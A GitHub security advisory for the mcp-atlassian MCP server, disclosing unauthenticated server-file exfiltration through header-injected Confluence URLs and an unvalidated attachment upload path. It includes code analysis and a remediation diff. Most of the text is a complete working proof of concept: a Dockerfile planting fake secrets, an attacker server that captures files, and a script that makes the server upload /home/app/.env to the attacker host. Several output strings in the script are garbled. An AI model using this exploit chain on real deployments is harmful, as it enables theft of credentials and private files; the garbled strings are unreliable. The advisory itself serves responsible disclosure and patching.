GHSA-wv8v-v4c5-v75j

### Summary

The `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).

---

### Details

**Data flow (source → sink)**

| Step | Location | Role | |------|----------|------| | 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. | | 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `"pat"`, effectively bypassing authentication requirements. | | 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. | | 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker's server. | | 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. | | 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` — already used on download paths — is **never called** here, leaving no directory restriction in place. | | 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {"file": (filename, open(file_path, "rb"))}` — the file is opened and sent as multipart to the attacker's server. | | 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, "rb")`. |

**Key code evidence**

```python # src/mcp_atlassian/confluence/attachments.py 64: if not os.path.isabs(file_path): 65: file_path = os.path.abspath(file_path) 68: if not os.path.exists(file_path): 77: filename = os.path.basename(file_path) 477: files = {"file": (filename, open(file_path, "rb"))} # ← sink ```

```python # src/mcp_atlassian/jira/attachments.py 374: if not os.path.isabs(file_path): 375: file_path = os.path.abspath(file_path) 386: with open(file_path, "rb") as file: # ← sink 387: attachment = self.jira.add_attachment( ```

**Why `validate_safe_path` is absent**: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.

**Default configuration enables the attack**: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).

**Recommended remediation**

```diff --- a/src/mcp_atlassian/confluence/attachments.py +++ b/src/mcp_atlassian/confluence/attachments.py - if not os.path.isabs(file_path): - file_path = os.path.abspath(file_path) + file_path = str(validate_safe_path(file_path)) filename = os.path.basename(file_path) - files = {"file": (filename, open(file_path, "rb"))} + with open(file_path, "rb") as file_obj: + files = {"file": (filename, file_obj)} + response = self.confluence._session.put( + url, headers=headers, files=files, data=data + ) - response = self.confluence._session.put( - url, headers=headers, files=files, data=data - )

--- a/src/mcp_atlassian/jira/attachments.py +++ b/src/mcp_atlassian/jira/attachments.py - if not os.path.isabs(file_path): - file_path = os.path.abspath(file_path) + file_path = str(validate_safe_path(file_path)) ```

Additional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.

---

### PoC

**Prerequisites**

- Docker (CLI + daemon) available on the attacker machine. - Python 3.x with `httpx` installed (`pip install httpx`). - The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).

**Step 1 — Build the victim image**

The `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:

``` SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3 DB_PASSWORD=pr0duct10n_d4tab4se_p4ss AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY ```

```bash docker build -t mcp-atlassian-vuln001 \ -f vuln-001/Dockerfile \ /path/to/mcp-atlassian-repo ```

**Step 2 — Run the automated PoC script**

The `poc.py` script orchestrates the full attack:

```bash python3 poc.py \ --repo /path/to/mcp-atlassian-repo \ --victim-port 18000 \ --attacker-port 18888 ```

The script performs the following actions automatically:

1. Creates a Docker network (`poc-vuln001-net`). 2. Starts an **attacker HTTP server** container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies. 3. Starts the **victim MCP server** container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`. 4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:

```python # Step 4a — initialize (no Authorization header) headers = { "X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888", "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc", } POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1, "params":{"protocolVersion":"2024-11-05","capabilities":{}, "clientInfo":{"name":"vuln001-poc","version":"1.0"}}}

# Step 4b — trigger file exfiltration POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3, "params":{"name":"confluence_upload_attachment", "arguments":{"content_id":"123", "file_path":"/home/app/.env"}}} ```

5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.

**Expected result**

The attacker server logs and `/exfil` endpoint confirm receipt of the victim file:

``` [attacker] *** EXFILTRATED FILE CONTENT START *** SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3 DB_PASSWORD=pr0duct10n_d4tab4se_p4ss AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY [attacker] *** EXFILTRATED FILE CONTENT END *** ```

**Phase 2 result**: PASS — file exfiltration confirmed via live Docker PoC.

---

### Impact

**Vulnerability class**: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.

**Who is impacted**:

- **Operators** running `mcp-atlassian` in HTTP transport mode (`streamable-http` or `sse`) on a network-reachable endpoint with `READ_ONLY_MODE=false` (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance. - **Users** whose secrets are stored on the server filesystem are at risk of credential theft — `.env` files, SSH private keys, cloud provider credentials (`~/.aws/credentials`), kubeconfig files, TLS certificates, and any other file readable by the process.

**Constraints on exploitability**:

- The server must be running in HTTP transport mode (not the default `stdio` mode). - `READ_ONLY_MODE` must not be set to `true`. - The attacker must be able to reach the `/mcp` endpoint (adjacent network or internet, depending on deployment). - The SSRF domain allowlist (`MCP_ALLOWED_URL_DOMAINS`) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.

Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.

---

### Reproduction artifacts

#### `Dockerfile`

```dockerfile # VULN-001 PoC Victim Image # Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .) # Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.

FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder

WORKDIR /app ENV UV_COMPILE_BYTECODE=1 ENV UV_LINK_MODE=copy

# Copy dependency files COPY pyproject.toml README.md uv.lock ./

# Install dependencies (without the project itself to leverage caching) RUN --mount=type=cache,target=/root/.cache/uv \ uv sync --frozen --no-install-project --no-dev --no-editable

# Copy source and install the project COPY src ./src RUN --mount=type=cache,target=/root/.cache/uv \ uv sync --frozen --no-dev --no-editable

# Strip bytecode cache to reduce image size RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \ find /app/.venv -name '*.pyc' -delete 2>/dev/null || true

# ── Final Stage ────────────────────────────────────────────────────────────── FROM python:3.13-alpine

# Create non-root user mirroring a typical prod deployment RUN adduser -D -h /home/app -s /bin/sh app

# Plant a sensitive file that the PoC will exfiltrate RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \ printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \ printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \ chown app:app /home/app/.env

WORKDIR /app USER app

COPY --from=builder --chown=app:app /app/.venv /app/.venv

ENV PATH="/app/.venv/bin:$PATH" ENV PYTHONUNBUFFERED=1

# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime) ENTRYPOINT ["mcp-atlassian"] CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"] ```

#### `poc.py`

```python #!/usr/bin/env python3 """ VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)

Attack chain: 1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no Authorization header required (unauthenticated PAT path, main.py:584-595). 2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker container hostname, bypassing DNS validation (urls.py:107-111). 3. ConfluenceFetcher is constructed with the attacker-controlled URL (dependencies.py:544-545). 4. confluence_upload_attachment is called with file_path=/home/app/.env — the path is absolutized but never validated against a safe root (attachments.py:64-79). 5. The file is opened and PUT-ed as multipart to the attacker server (attachments.py:477,490).

Usage: python3 poc.py [--repo /path/to/repo] [--victim-port 18000] [--attacker-port 18888] [--no-cleanup]

Requirements on the host running this script: - docker (CLI + daemon) - python3 with httpx (pip install httpx) """

import argparse import json import os import subprocess import sys import textwrap import time

# ── constants ──────────────────────────────────────────────────────────────

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) DEFAULT_REPO = os.path.join( os.path.dirname(SCRIPT_DIR), "repo" ) DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")

NETWORK_NAME = "poc-vuln001-net" VICTIM_NAME = "poc-vuln001-victim" ATTACKER_NAME = "poc-vuln001-attacker" VICTIM_IMAGE = "mcp-atlassian-vuln001" ATTACKER_IMAGE = "python:3.12-slim"

TARGET_FILE = "/home/app/.env" # sensitive file planted in the victim image

# ── attacker server source (injected into the attacker container) ──────────

ATTACKER_SERVER_SRC = textwrap.dedent(r""" import http.server, json, re, sys, threading

_exfil = [] # captured files

class H(http.server.BaseHTTPRequestHandler): def log_message(self, fmt, *a): print(f"[attacker-http] {fmt % a}", flush=True)

# Confluence auth probe — return a minimal valid user object def do_GET(self): self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() if self.path.rstrip("/") == "/exfil": self.wfile.write(json.dumps({"files": _exfil}).encode()) elif self.path.rstrip("/") == "/ready": self.wfile.write(b'{"status":"ok"}') else: self.wfile.write(json.dumps({ "key": "attacker-user", "displayName": "Attacker", "emailAddress": "attacker@evil.example", "active": True, "accountType": "atlassian" }).encode())

def do_PUT(self): self._recv() def do_POST(self): self._recv()

def _recv(self): cl = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(cl) if cl else b"" ct = self.headers.get("Content-Type", "") print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)

file_data = b"" if "multipart" in ct and body: bm = re.search(r"boundary[=\s]+([\w\-]+)", ct) if bm: boundary = bm.group(1).encode() for part in body.split(b"--" + boundary): if b"\r\n\r\n" not in part: continue hdr, _, data = part.partition(b"\r\n\r\n") if b'name="file"' in hdr or b"filename" in hdr: file_data = data.rstrip(b"\r\n--") break

if file_data: text = file_data.decode(errors="replace") print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True) print(text[:4096], flush=True) print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True) _exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)}) else: print("[attacker] WARNING: no file data found in request", flush=True)

self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps({ "results": [{ "id": "att-001", "type": "attachment", "title": "exfiltrated", "metadata": {"mediaType": "text/plain"}, "extensions": {"fileSize": len(file_data)} }] }).encode())

server = http.server.HTTPServer(("0.0.0.0", 8888), H) print("[attacker] listening on 0.0.0.0:8888", flush=True) sys.stdout.flush() server.serve_forever() """).strip()

# ── helpers ────────────────────────────────────────────────────────────────

def run(cmd: str, **kw): r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw) return r.returncode, r.stdout, r.stderr

def run_ok(cmd: str, label: str = "") -> str: rc, out, err = run(cmd) if rc != 0: tag = f" ({label})" if label else "" print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr) sys.exit(1) return out

def docker_logs(name: str) -> str: _, out, err = run(f"docker logs {name} 2>&1") return out + err

def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool: import urllib.request deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=3) as r: if r.status < 500: return True except Exception: pass time.sleep(interval) return False

def cleanup(victim_name: str, attacker_name: str, network: str): run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null") run(f"docker network rm {network} 2>/dev/null")

def parse_sse_result(text: str) -> dict | None: """Extract the first JSON-RPC result from an SSE or plain-JSON body.""" for line in text.splitlines(): line = line.strip() if line.startswith("data:"): payload = line[5:].strip() elif line.startswith("{"): payload = line else: continue try: obj = json.loads(payload) if "result" in obj or "error" in obj: return obj except json.JSONDecodeError: continue return None

# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────

def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict: """ Drive the MCP streamable-http protocol to call confluence_upload_attachment with an arbitrary file_path. Returns a dict with keys: success, session_id, response_text, error. """ import httpx

service_headers = { "X-Atlassian-Confluence-Url": attacker_container_url, "X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc", } base_headers = { **service_headers, "Content-Type": "application/json", "Accept": "application/json, text/event-stream", }

with httpx.Client(timeout=30) as client: # ── 1. initialize ────────────────────────────────────────────── print(f"[poc] Sending initialize to {victim_url}") resp = client.post(victim_url, headers=base_headers, json={ "jsonrpc": "2.0", "method": "initialize", "id": 1, "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln001-poc", "version": "1.0"}, } }) if resp.status_code not in (200, 201): return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}

session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id") print(f"[poc] Session-Id: {session_id}")

session_headers = {**base_headers} if session_id: session_headers["Mcp-Session-Id"] = session_id

# ── 2. notifications/initialized ────────────────────────────── client.post(victim_url, headers=session_headers, json={ "jsonrpc": "2.0", "method": "notifications/initialized" })

# ── 3. tools/list (optional, just for visibility) ───────────── try: tl = client.post(victim_url, headers=session_headers, json={ "jsonrpc": "2.0", "method": "tools/list", "id": 2, "params": {} }) tools_obj = parse_sse_result(tl.text) or {} if "result" in tools_obj: names = [t["name"] for t in tools_obj["result"].get("tools", [])] print(f"[poc] Tools available: {names}") if "confluence_upload_attachment" not in names: print("[poc] WARNING: confluence_upload_attachment not in tools/list " "(will still attempt tools/call)") except Exception as e: print(f"[poc] tools/list skipped: {e}")

# ── 4. tools/call ───────────────────────────────────────────── print(f"[poc] Calling confluence_upload_attachment file_path={target_file}") resp2 = client.post(victim_url, headers=session_headers, json={ "jsonrpc": "2.0", "method": "tools/call", "id": 3, "params": { "name": "confluence_upload_attachment", "arguments": { "content_id": "123", "file_path": target_file, } } }, timeout=30)

return { "success": True, "session_id": session_id, "status_code": resp2.status_code, "response_text": resp2.text[:2000], "error": None, }

# ── main ──────────────────────────────────────────────────────────────────

def main(): ap = argparse.ArgumentParser(description="VULN-001 PoC runner") ap.add_argument("--repo", default=DEFAULT_REPO) ap.add_argument("--victim-port", type=int, default=18000) ap.add_argument("--attacker-port", type=int, default=18888) ap.add_argument("--no-cleanup", action="store_true") args = ap.parse_args()

repo_path = os.path.abspath(args.repo) victim_port = args.victim_port attacker_port = args.attacker_port

print("=" * 60) print("VULN-001 PoC — MCP File Exfiltration via Attachment Upload") print("=" * 60) print(f"Repo: {repo_path}") print(f"Dockerfile: {DOCKERFILE_PATH}") print(f"Victim port: {victim_port}") print(f"Attacker port: {attacker_port}") print()

# ── 0. pre-flight ───────────────────────────────────────────────── cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)

# ── 1. build victim image ───────────────────────────────────────── print("[*] Building victim image (this may take a few minutes)...") rc, out, err = run( f"docker build --no-cache -t {VICTIM_IMAGE} " f"-f {DOCKERFILE_PATH} {repo_path}" ) if rc != 0: print(f"[FAIL] docker build failed:\n{err[-3000:]}", file=sys.stderr) sys.exit(1) print(f"[+] Victim image built: {VICTIM_IMAGE}")

# ── 2. create network ───────────────────────────────────────────── print("[*] Creating Docker network...") run_ok(f"docker network create {NETWORK_NAME}", "network create") print(f"[+] Network created: {NETWORK_NAME}")

try: # ── 3. start attacker container ──────────────────────────────── print("[*] Starting attacker HTTP server...") attacker_code_escaped = ATTACKER_SERVER_SRC.replace("'", "'\"'\"'") run_ok( f"docker run -d " f"--network {NETWORK_NAME} " f"--name {ATTACKER_NAME} " f"-p {attacker_port}:8888 " f"{ATTACKER_IMAGE} " f"python3 -c '{attacker_code_escaped}'", "start attacker" )

if not wait_http(f"http://127.0.0.1:{attacker_port}/ready", timeout=30): print("[FAIL] Attacker server did not start in time") print(docker_logs(ATTACKER_NAME)) sys.exit(1) print(f"[+] Attacker server ready on port {attacker_port}")

# ── 4. start victim container ────────────────────────────────── print("[*] Starting victim MCP server...") run_ok( f"docker run -d " f"--network {NETWORK_NAME} " f"--name {VICTIM_NAME} " f"-p {victim_port}:8000 " f"-e TRANSPORT=streamable-http " f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} " f"-e READ_ONLY_MODE=false " f"-e MCP_LOGGING_STDOUT=true " f"-e MCP_VERBOSE=true " f"{VICTIM_IMAGE} " f"--transport streamable-http --port 8000 --host 0.0.0.0", "start victim" )

print("[*] Waiting for victim MCP server to be ready...") if not wait_http(f"http://127.0.0.1:{victim_port}/healthz", timeout=60): print("[FAIL] Victim server did not start in time") print(docker_logs(VICTIM_NAME)) sys.exit(1) print(f"[+] Victim MCP server ready on port {victim_port}")

# ── 5. run the exploit ───────────────────────────────────────── print() print("[*] Launching MCP exploit...") victim_mcp_url = f"http://127.0.0.1:{victim_port}/mcp" attacker_container_url = f"http://{ATTACKER_NAME}:8888"

result = mcp_exploit(victim_mcp_url, attacker_container_url, TARGET_FILE)

if not result["success"]: print(f"[FAIL] MCP exploit error: {result['error']}") print("Victim logs:\n", docker_logs(VICTIM_NAME)[-2000:]) sys.exit(1)

print(f"[poc] tools/call HTTP {result['status_code']}") print(f"[poc] Response:\n{result['response_text']}")

# ── 6. verify exfiltration ───────────────────────────────────── time.sleep(2)

import urllib.request with urllib.request.urlopen( f"http://127.0.0.1:{attacker_port}/exfil", timeout=5 ) as r: exfil_data = json.loads(r.read())

attacker_raw_logs = docker_logs(ATTACKER_NAME) print() print("Attacker server logs:") print(attacker_raw_logs[-4000:])

files = exfil_data.get("files", []) confirmed = bool(files) or ( "EXFILTRATED FILE CONTENT" in attacker_raw_logs and "SECRET_DEPLOY_KEY" in attacker_raw_logs )

evidence_snippet = "" if files: evidence_snippet = files[0].get("content", "")[:500] elif "EXFILTRATED FILE CONTENT START" in attacker_raw_logs: start = attacker_raw_logs.find("EXFILTRATED FILE CONTENT START") + len("EXFILTRATED FILE CONTENT START") + 4 end = attacker_raw_logs.find("EXFILTRATED FILE CONTENT END", start) evidence_snippet = attacker_raw_logs[start:end].strip()[:500]

print() if confirmed: print("[PASS] file leak confirmed — attacker servertext victim containertext sensitive filetext receivedtext.") print(f"[PASS] Evidence snippet:\n{evidence_snippet}") else: print("[FAIL] file leak evidencetext checktext text.") print("attacker_logs:", attacker_raw_logs[-1000:])

# ── 7. write phase2_result.json ──────────────────────────────── phase2 = { "passed": confirmed, "verdict": "PASS" if confirmed else "FAIL", "reason": ( "MCP HTTP clienttext X-Atlassian-Confluence-Url / Personal-Token headeronlyas " "without authentication ConfluenceFetchertext createtext, confluence_upload_attachment tooltext " "file_path=/home/app/.envtext path verification text open() and attacker servertext senddone. " "attachments.py:477 open(file_path,'rb')text sensitive filetext text multipart PUT requesttext containsdone." if confirmed else "attacker servertext file receivedtext checktext could not — logtext referenceand failure cause text required." ), "build_command": ( f"docker build -t {VICTIM_IMAGE} " f"-f {DOCKERFILE_PATH} {repo_path}" ), "run_command": ( f"docker network create {NETWORK_NAME} && " f"docker run -d --network {NETWORK_NAME} --name {ATTACKER_NAME} " f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && " f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} " f"-p {victim_port}:8000 " f"-e TRANSPORT=streamable-http " f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} " f"-e READ_ONLY_MODE=false " f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0" ), "poc_command": ( f"python3 {os.path.basename(__file__)} " f"--repo {repo_path} " f"--victim-port {victim_port} " f"--attacker-port {attacker_port}" ), "evidence": evidence_snippet or attacker_raw_logs[-500:], "artifacts": ["Dockerfile", "poc.py"], }

result_path = os.path.join(SCRIPT_DIR, "phase2_result.json") with open(result_path, "w") as f: json.dump(phase2, f, indent=2, ensure_ascii=False) print(f"\n[*] phase2_result.json written: {result_path}")

finally: if not args.no_cleanup: print("[*] Cleaning up containers and network...") cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME) print("[*] Cleanup done.") else: print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")

if __name__ == "__main__": main() ```